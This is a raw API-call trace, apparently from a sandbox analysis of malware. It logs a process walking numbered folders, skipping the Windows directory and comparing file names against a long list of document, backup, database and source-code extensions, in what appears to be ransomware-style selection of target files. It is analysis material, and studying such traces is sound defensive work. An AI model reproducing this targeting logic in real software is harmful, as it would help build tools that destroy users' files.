lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.899] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.899] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.899] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.904] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0194.904] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.904] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.904] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.904] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1b70 [0194.904] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.905] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.905] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.905] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.905] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.905] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1830 [0194.906] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.906] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.906] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.906] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.906] FindNextFileW (in: hFindFile=0x7a1830, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.906] FindClose (in: hFindFile=0x7a1830 | out: hFindFile=0x7a1830) returned 1 [0194.906] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.906] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.906] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.906] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a18f0 [0194.907] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.907] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.907] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.908] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.908] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.908] FindClose (in: hFindFile=0x7a18f0 | out: hFindFile=0x7a18f0) returned 1 [0194.908] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.908] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.908] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.908] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1b70 [0194.909] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.909] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.909] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.909] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.909] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.909] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.910] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.910] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.910] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.910] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1d30 [0194.910] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.910] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.911] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.911] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.911] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.911] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0194.911] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.911] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.911] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.911] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1eb0 [0194.912] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.912] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.912] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.912] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.912] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.912] FindClose (in: hFindFile=0x7a1eb0 | out: hFindFile=0x7a1eb0) returned 1 [0194.912] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.912] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.912] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.912] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1b70 [0194.913] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.913] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.913] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.913] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.913] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.913] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.913] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.913] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.913] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.914] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1870 [0194.914] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.914] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.914] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.914] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.914] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.914] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0194.914] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.915] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.915] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.915] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1b70 [0194.916] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.916] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.916] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.916] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.916] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.916] FindClose (in: hFindFile=0x7a1b70 | out: hFindFile=0x7a1b70) returned 1 [0194.916] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.916] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26 [0194.917] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1041") returned 1 [0194.917] lstrlenW (lpString="1041") returned 4 [0194.917] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1041") returned 1 [0194.917] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26 [0194.917] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1b70 [0194.917] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.917] FindNextFileW (in: hFindFile=0x7a1b70, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.917] lstrlenW (lpString="eula.rtf") returned 8 [0194.917] lstrlenW (lpString=".1cd") returned 4 [0194.918] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0194.918] lstrlenW (lpString=".3ds") returned 4 [0194.918] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0194.918] lstrlenW (lpString=".3fr") returned 4 [0194.918] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0194.918] lstrlenW (lpString=".3g2") returned 4 [0194.918] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0194.918] lstrlenW (lpString=".3gp") returned 4 [0194.918] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0194.918] lstrlenW (lpString=".7z") returned 3 [0194.918] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0194.918] lstrlenW (lpString=".accda") returned 6 [0194.918] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0194.918] lstrlenW (lpString=".accdb") returned 6 [0194.918] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0194.918] lstrlenW (lpString=".accdc") returned 6 [0194.918] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0194.918] lstrlenW (lpString=".accde") returned 6 [0194.918] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0194.918] lstrlenW (lpString=".accdt") returned 6 [0194.918] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0194.918] lstrlenW (lpString=".accdw") returned 6 [0194.918] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0194.918] lstrlenW (lpString=".adb") returned 4 [0194.918] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0194.918] lstrlenW (lpString=".adp") returned 4 [0194.918] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0194.918] lstrlenW (lpString=".ai") returned 3 [0194.919] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0194.919] lstrlenW (lpString=".ai3") returned 4 [0194.919] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".ai4") returned 4 [0194.919] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".ai5") returned 4 [0194.919] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".ai6") returned 4 [0194.919] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".ai7") returned 4 [0194.919] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".ai8") returned 4 [0194.919] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".anim") returned 5 [0194.919] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0194.919] lstrlenW (lpString=".arw") returned 4 [0194.919] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".as") returned 3 [0194.919] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0194.919] lstrlenW (lpString=".asa") returned 4 [0194.919] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".asc") returned 4 [0194.919] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".ascx") returned 5 [0194.919] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0194.919] lstrlenW (lpString=".asm") returned 4 [0194.919] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0194.919] lstrlenW (lpString=".asmx") returned 5 [0194.920] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0194.920] lstrlenW (lpString=".asp") returned 4 [0194.920] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0194.920] lstrlenW (lpString=".aspx") returned 5 [0194.920] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0194.920] lstrlenW (lpString=".asr") returned 4 [0194.920] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0194.920] lstrlenW (lpString=".asx") returned 4 [0194.920] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0194.920] lstrlenW (lpString=".avi") returned 4 [0194.920] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0194.920] lstrlenW (lpString=".avs") returned 4 [0194.920] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0194.920] lstrlenW (lpString=".backup") returned 7 [0194.920] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0194.920] lstrlenW (lpString=".bak") returned 4 [0194.920] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0194.920] lstrlenW (lpString=".bay") returned 4 [0194.920] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0194.920] lstrlenW (lpString=".bd") returned 3 [0194.920] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0194.921] lstrlenW (lpString=".bin") returned 4 [0194.921] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0194.921] lstrlenW (lpString=".bmp") returned 4 [0194.921] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0194.921] lstrlenW (lpString=".bz2") returned 4 [0194.921] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0194.921] lstrlenW (lpString=".c") returned 2 [0194.921] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0194.921] lstrlenW (lpString=".cdr") returned 4 [0194.921] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0194.921] lstrlenW (lpString=".cer") returned 4 [0194.921] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0194.921] lstrlenW (lpString=".cf") returned 3 [0194.921] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0194.921] lstrlenW (lpString=".cfc") returned 4 [0194.922] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".cfm") returned 4 [0194.922] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".cfml") returned 5 [0194.922] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0194.922] lstrlenW (lpString=".cfu") returned 4 [0194.922] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".chm") returned 4 [0194.922] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".cin") returned 4 [0194.922] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".class") returned 6 [0194.922] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0194.922] lstrlenW (lpString=".clx") returned 4 [0194.922] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".config") returned 7 [0194.922] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0194.922] lstrlenW (lpString=".cpp") returned 4 [0194.922] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".cr2") returned 4 [0194.922] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".crt") returned 4 [0194.922] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".crw") returned 4 [0194.922] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".cs") returned 3 [0194.922] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0194.922] lstrlenW (lpString=".css") returned 4 [0194.922] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0194.922] lstrlenW (lpString=".csv") returned 4 [0194.923] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".cub") returned 4 [0194.923] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".dae") returned 4 [0194.923] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".dat") returned 4 [0194.923] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".db") returned 3 [0194.923] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0194.923] lstrlenW (lpString=".dbf") returned 4 [0194.923] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".dbx") returned 4 [0194.923] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".dc3") returned 4 [0194.923] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".dcm") returned 4 [0194.923] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".dcr") returned 4 [0194.923] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".der") returned 4 [0194.923] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".dib") returned 4 [0194.923] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".dic") returned 4 [0194.923] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".dif") returned 4 [0194.923] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0194.923] lstrlenW (lpString=".divx") returned 5 [0194.923] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0194.923] lstrlenW (lpString=".djvu") returned 5 [0194.924] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0194.924] lstrlenW (lpString=".dng") returned 4 [0194.924] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0194.924] lstrlenW (lpString=".doc") returned 4 [0194.924] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0194.924] lstrlenW (lpString=".docm") returned 5 [0194.924] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0194.924] lstrlenW (lpString=".docx") returned 5 [0194.924] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0194.924] lstrlenW (lpString=".dot") returned 4 [0194.924] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0194.924] lstrlenW (lpString=".dotm") returned 5 [0194.924] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0194.924] lstrlenW (lpString=".dotx") returned 5 [0194.924] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0194.924] lstrlenW (lpString=".dpx") returned 4 [0194.924] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0194.924] lstrlenW (lpString=".dqy") returned 4 [0194.924] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0194.924] lstrlenW (lpString=".dsn") returned 4 [0194.924] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0194.924] lstrlenW (lpString=".dt") returned 3 [0194.924] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0194.924] lstrlenW (lpString=".dtd") returned 4 [0194.924] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0194.924] lstrlenW (lpString=".dwg") returned 4 [0194.924] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0194.924] lstrlenW (lpString=".dwt") returned 4 [0194.924] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0194.924] lstrlenW (lpString=".dx") returned 3 [0194.925] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0194.925] lstrlenW (lpString=".dxf") returned 4 [0194.925] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".edml") returned 5 [0194.925] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0194.925] lstrlenW (lpString=".efd") returned 4 [0194.925] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".elf") returned 4 [0194.925] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".emf") returned 4 [0194.925] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".emz") returned 4 [0194.925] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".epf") returned 4 [0194.925] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".eps") returned 4 [0194.925] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".epsf") returned 5 [0194.925] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0194.925] lstrlenW (lpString=".epsp") returned 5 [0194.925] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0194.925] lstrlenW (lpString=".erf") returned 4 [0194.925] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".exr") returned 4 [0194.925] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".f4v") returned 4 [0194.925] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0194.925] lstrlenW (lpString=".fido") returned 5 [0194.925] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0194.926] lstrlenW (lpString=".flm") returned 4 [0194.926] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".flv") returned 4 [0194.926] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".frm") returned 4 [0194.926] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".fxg") returned 4 [0194.926] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".geo") returned 4 [0194.926] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".gif") returned 4 [0194.926] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".grs") returned 4 [0194.926] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".gz") returned 3 [0194.926] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0194.926] lstrlenW (lpString=".h") returned 2 [0194.926] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0194.926] lstrlenW (lpString=".hdr") returned 4 [0194.926] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".hpp") returned 4 [0194.926] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".hta") returned 4 [0194.926] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".htc") returned 4 [0194.926] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".htm") returned 4 [0194.926] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0194.926] lstrlenW (lpString=".html") returned 5 [0194.926] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0194.926] lstrlenW (lpString=".icb") returned 4 [0194.927] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".ics") returned 4 [0194.927] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".iff") returned 4 [0194.927] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0194.927] lstrlenW (lpString=".inc") returned 4 